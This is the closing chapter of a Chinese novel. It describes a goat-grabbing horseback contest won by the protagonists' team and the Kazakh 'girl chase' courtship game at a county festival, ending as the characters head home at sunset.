领导一再强调友谊第一比赛第二，生怕众人争抢中真打出火气来，为此还专门禁止在比赛中使用任何诸如马鞭之类的工具。 都是些年轻人，又都挤在一起抢一头被宰杀好的山羊，谁知道不会会抢着抢着就闹起来？所以禁止工具。 众人整装待发，号角声吹响，七支队伍如同离弦之箭，同时冲向场地中央。 马蹄声如雷鸣般滚过草原，震得大地微微颤抖。 每只队伍背后贴了数字，姚新泉他们是7号队。2号队的一名壮汉一马当先，俯身捞起羊尸，在空中划了个弧线。但转眼间，另外三支队伍已经围了上来。 那人大笑一声，将羊抛向邻近的同队队员，羊尸就这样在空中飞了过去。 姚新泉的目光紧盯着那只山羊，它的四肢僵硬地伸展着，皮毛上沾满了草屑和血污。她给师月江使了个眼色，两人心领神会，从外围包抄过去。 短短两三分钟的时间，羊尸已经在骑手间传递了四五个来回了，每一次易手都引发一阵欢呼。 姚新泉看准时机，突然策马插入人群。皮皮与她心灵相通，步伐轻捷而稳健。在羊尸又一次被抛起的瞬间，姚新泉示意皮皮减速，随后她左手在马鞍上用力一撑，人高高跃起，一把接住羊尸后又稳稳落在了减速的皮皮背上。 观众席叫好声如潮水般涌来，她根本管不了那么多，注意力只落在了怀中的羊尸上。 那羊尸甫一落入怀中，沉甸甸的重量让她险些失去平衡。她赶紧夹紧马腹，皮皮如闪电般向前冲去。 但刹那间，五匹不同队伍的马从不同方向向她包抄而来，姚新泉看了看觉得没有突围的可能性，干脆将羊尸抛给在一旁等着的师月江。 师月江那边因为一时没有人拦着，所以他顺利接到羊，并向前冲刺。 可其他队伍的人也不是只看着不动的，立马围堵了上来，姚新泉在一旁策应却也一时没办法帮他突围。 师月江趁人不备赶紧将羊尸抛给乌日图，乌日图接到羊后不到一分钟的时间又传给了他们队之前那个摇旗的大汉，对方接到羊后哈哈大笑。 那羊除去内脏之后也有三十来公斤，但是在他手上就跟个玩具一样，被他随意往腋下一夹，他如下山猛虎一般往前冲去，众人摄于他的气势竟一时不敢多拦。 就这样，7号队顺利得一分！ 叫好声铺天盖地响了起来，五个队友也激动地碰了碰拳，静待第二轮比赛。 三分算赢，7号队率先夺得一分，这不仅没让其他人觉得丧气，反倒激起了众人的斗志。 随后5号队得一分！ 3号队得一分！ 2号队得一分！ 场子越来越热，不管是围观的群众还是参赛的选手都完全沉浸在内。 最终马儿都快跑不动了，7号队成功率先获得了三分！ 五人紧紧相拥，哪里还管姚新泉是个女孩子，这可是战友啊！ 转眼就到了活动的最后一天，射箭决赛的冠军不是他们县的，是另一个县的一位年轻巴郎子，才19岁，特别优秀，之前没被发掘出来，这次之后听说要被推举去参加比赛了。 俩人没参加姑娘追，主要这本身针对的是未婚男女，给他们提供的一种求爱的途径。他们俩婚都定了就不去参与这种活动了。 姚新泉看向师星野，打趣道，“大哥你不去试试？” 师星野失笑，没好气地看了她一眼，“你就等着看我出丑是吧？” 姚新泉哈哈大笑，“怎么会！” 所谓“姑娘追”，是哈萨克族的一种传统马上竞技，也是青年男女表达爱慕之心的独特方式。两人骑马同往指定目标，去程小伙子可以向姑娘任意逗趣，说尽甜言蜜语，姑娘不能生气。而返程时，姑娘则策马追赶，若追上便可用鞭子轻轻抽打小伙，小伙子不得还手。 比赛尚未开始，场边已经围得水泄不通。三人挤在人群中，都很有兴味地看着那边。 骑手们在场边准备，小伙子们跨坐在鞍上，互相调侃，不时爆发出粗犷的笑声。姑娘们则稍显羞涩，但整理缰绳的手指却稳健有力，不过也不难看出，一个个都是骑马的好手。 活动开始了。一对青年男女并辔而出，马匹一棕一白，相映成趣。去程时，小伙子策马贴近姑娘，侧身像是在说着什么，脸上带着狡黠的笑意。 姑娘则是低首垂目，唇角隐约含着一丝笑意，手指却不自觉地缠绕着缰绳。小伙子越说越起劲，几乎将半个身子都探了过去，人半挂在马上，引得围观人群大笑不止。 到达终点后两人同时调转马头，气氛也就在这一瞬间发生了变化，那姑娘方才的羞涩神情一扫而空，她身体前倾，双腿一夹，白马如离弦之箭射出。 而小伙子更是早已策马奔逃，像是猜到自己如果不逃可就得挨打了。 可惜的是姑娘的马更快，转眼间便追了上去。鞭子在空中划出清脆的响声，轻轻落在小伙子背上，人群中爆发出欢呼声。 “这个有趣，你俩要是参与了，我还挺想看月江挨打的！”师星野笑得不行，得了师月江一个白眼。 姚新泉也笑，以后的话可能无所谓，现在这种订婚的男女参加姑娘追，很多人就会觉得不合适，石县长办一次活动不容易，还是别给他找麻烦了。 转眼又一对骑手上场，这次的小伙子更加大胆，去程时几乎与姑娘并驾齐驱，不断地说着俏皮话。 姑娘面颊微红，却不发一言，只是偶尔瞥他一眼。 即将返程时那小伙子突然侧身亲了姑娘一口，姑娘羞愤策马疾追，眼神凌厉，不一会儿便追上小伙子。 她的鞭子在空中呼啸，就在众人以为这可不得好好抽一抽时，鞭子却没有落下，只是在他头顶虚晃一记。 小伙子缩颈躲避，神情中却满是得意，这又狼狈又得意的模样引得众人哄笑。 活动一场接一场进行，有的姑娘鞭下留情，只是轻轻一点。有的却毫不客气，鞭声响亮。小伙子们去时神气活现，归时狼狈逃窜，却个个面带笑容，仿佛那鞭子是莫大的荣耀。 夕阳西下，天边泛起橘红色的霞光。再热闹的活动也有结束的时候，众人打算回程。 师星野还有事径直去了机场，姚新泉二人跟在大部队后面回去。 夕阳下，众人的身影被拉得很长。 全文完。